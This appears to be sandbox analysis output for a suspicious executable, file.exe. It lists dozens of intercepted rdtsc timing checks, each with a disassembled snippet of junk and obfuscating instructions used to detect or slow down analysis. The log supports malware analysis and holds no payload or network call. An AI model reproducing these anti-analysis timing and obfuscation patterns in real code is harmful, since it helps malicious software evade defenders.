Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72689D second address: 7268B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8DFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7268B0 second address: 7268CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F3BB8CF950Dh 0x0000000c push edi 0x0000000d pop edi 0x0000000e push edx 0x0000000f pop edx 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726A0D second address: 726A1D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726A1D second address: 726A21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726A21 second address: 726A50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F3BB941C8E3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3BB941C8E3h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726A50 second address: 726A5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F3BB8CF9506h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726D12 second address: 726D1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 popad 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726D1D second address: 726D23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726E92 second address: 726E98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726E98 second address: 726EB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F3BB8CF9513h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726EB0 second address: 726EC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3BB941C8E1h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726EC7 second address: 726ECB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726ECB second address: 726EE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8E7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727289 second address: 72728D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72728D second address: 7272A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F3BB941C8E3h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7272A9 second address: 7272AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727415 second address: 72741B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72741B second address: 727432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3BB8CF950Eh 0x0000000a jc 00007F3BB8CF9506h 0x00000010 pushad 0x00000011 popad 0x00000012 push ecx 0x00000013 push eax 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727432 second address: 72743D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72743D second address: 72744E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3BB8CF950Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727588 second address: 7275AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3BB941C8DCh 0x00000009 jnl 00007F3BB941C8D6h 0x0000000f popad 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jo 00007F3BB941C8D6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7275AA second address: 7275C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB8CF950Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7275C1 second address: 7275C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7275C7 second address: 7275CC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ECDDD second address: 6ECDE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED09C second address: 6ED0A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED0A1 second address: 6ED0AB instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3BB941C8DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED16B second address: 6ED16F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED16F second address: 6ED176 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED176 second address: 6ED183 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED255 second address: 6ED259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED323 second address: 6ED327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED36A second address: 6ED3C7 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3BB941C8D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c jo 00007F3BB941C8E7h 0x00000012 jmp 00007F3BB941C8E1h 0x00000017 xchg eax, esi 0x00000018 pushad 0x00000019 mov cl, 36h 0x0000001b movzx ecx, cx 0x0000001e popad 0x0000001f nop 0x00000020 jl 00007F3BB941C8E4h 0x00000026 push eax 0x00000027 je 00007F3BB941C8F1h 0x0000002d pushad 0x0000002e jmp 00007F3BB941C8E3h 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EDA6F second address: 6EDA73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EDA73 second address: 6EDAC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007F3BB941C8D8h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 00000019h 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 stc 0x00000023 push 0000001Eh 0x00000025 push 00000000h 0x00000027 push ecx 0x00000028 call 00007F3BB941C8D8h 0x0000002d pop ecx 0x0000002e mov dword ptr [esp+04h], ecx 0x00000032 add dword ptr [esp+04h], 00000017h 0x0000003a inc ecx 0x0000003b push ecx 0x0000003c ret 0x0000003d pop ecx 0x0000003e ret 0x0000003f push eax 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 jp 00007F3BB941C8D6h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EDAC8 second address: 6EDACC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EDE6A second address: 6EDE6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EDE6F second address: 6EDEC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3BB8CF950Eh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f sub edx, dword ptr [ebp+122D2B32h] 0x00000015 lea eax, dword ptr [ebp+124949AAh] 0x0000001b push 00000000h 0x0000001d push ebx 0x0000001e call 00007F3BB8CF9508h 0x00000023 pop ebx 0x00000024 mov dword ptr [esp+04h], ebx 0x00000028 add dword ptr [esp+04h], 00000017h 0x00000030 inc ebx 0x00000031 push ebx 0x00000032 ret 0x00000033 pop ebx 0x00000034 ret 0x00000035 mov cx, di 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F3BB8CF950Ch 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EDEC4 second address: 6CA4CA instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3BB941C8D8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F3BB941C8D8h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 00000015h 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 jmp 00007F3BB941C8DBh 0x0000002e lea eax, dword ptr [ebp+12494966h] 0x00000034 call 00007F3BB941C8E2h 0x00000039 call 00007F3BB941C8E1h 0x0000003e pop edi 0x0000003f pop edi 0x00000040 push eax 0x00000041 pushad 0x00000042 jmp 00007F3BB941C8DFh 0x00000047 jmp 00007F3BB941C8E9h 0x0000004c popad 0x0000004d mov dword ptr [esp], eax 0x00000050 jmp 00007F3BB941C8E0h 0x00000055 mov dword ptr [ebp+122D235Fh], esi 0x0000005b call dword ptr [ebp+122D1CC6h] 0x00000061 push eax 0x00000062 push edx 0x00000063 push edx 0x00000064 pushad 0x00000065 popad 0x00000066 pop edx 0x00000067 jng 00007F3BB941C8E7h 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CA4CA second address: 6CA4D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3BB8CF950Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CA4D9 second address: 6CA4DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A30D1 second address: 6A30E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB8CF950Bh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A30E1 second address: 6A30E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72BC01 second address: 72BC1E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3BB8CF950Fh 0x0000000e push ebx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72BC1E second address: 72BC23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72BC23 second address: 72BC45 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3BB8CF951Dh 0x00000008 jmp 00007F3BB8CF950Dh 0x0000000d jmp 00007F3BB8CF950Ah 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72BC45 second address: 72BC4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72BF12 second address: 72BF30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3BB8CF9519h 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72BF30 second address: 72BF37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C0B8 second address: 72C0BD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C21B second address: 72C221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C4C6 second address: 72C4CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C4CA second address: 72C4D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C4D3 second address: 72C4FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3BB8CF950Ah 0x00000009 jmp 00007F3BB8CF950Ch 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jo 00007F3BB8CF9506h 0x00000019 push edi 0x0000001a pop edi 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C4FD second address: 72C520 instructions: 0x00000000 rdtsc 0x00000002 je 00007F3BB941C8EDh 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C520 second address: 72C526 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7337EF second address: 7337F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7337F4 second address: 733805 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F3BB8CF9506h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733805 second address: 733829 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8E6h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A807D second address: 6A8083 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73228B second address: 732295 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3BB941C8D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 732295 second address: 73229B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 732534 second address: 732538 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 732692 second address: 732696 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 732696 second address: 7326AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F3BB941C8DAh 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 732961 second address: 732971 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F3BB8CF9522h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 732971 second address: 73298B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3BB941C8E6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73298B second address: 732990 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 732AD3 second address: 732ADF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 732ADF second address: 732AE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 732C50 second address: 732C54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 732C54 second address: 732C58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73309E second address: 7330B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7330B3 second address: 7330EE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F3BB8CF950Ah 0x00000008 pushad 0x00000009 popad 0x0000000a pop edi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F3BB8CF9515h 0x00000014 jmp 00007F3BB8CF9512h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733232 second address: 733236 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73368E second address: 733695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733695 second address: 73369F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3BB941C8E2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737501 second address: 737508 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737508 second address: 737511 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737511 second address: 737519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737519 second address: 73751F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73AF93 second address: 73AF97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73AF97 second address: 73AFA6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 je 00007F3BB941C8D6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73AA8E second address: 73AABA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F3BB8CF9518h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f pop ecx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jns 00007F3BB8CF9506h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73AC17 second address: 73AC3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3BB941C8E0h 0x00000009 popad 0x0000000a push ebx 0x0000000b jng 00007F3BB941C8D6h 0x00000011 js 00007F3BB941C8D6h 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73AC3A second address: 73AC59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB8CF9515h 0x00000007 jl 00007F3BB8CF950Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740A13 second address: 740A50 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3BB941C8D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnp 00007F3BB941C8FFh 0x00000010 jmp 00007F3BB941C8E2h 0x00000015 jmp 00007F3BB941C8E7h 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740A50 second address: 740A54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740A54 second address: 740A6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F3BB941C8DCh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740A6D second address: 740A71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740A71 second address: 740A89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8E2h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740F04 second address: 740F08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740F08 second address: 740F11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
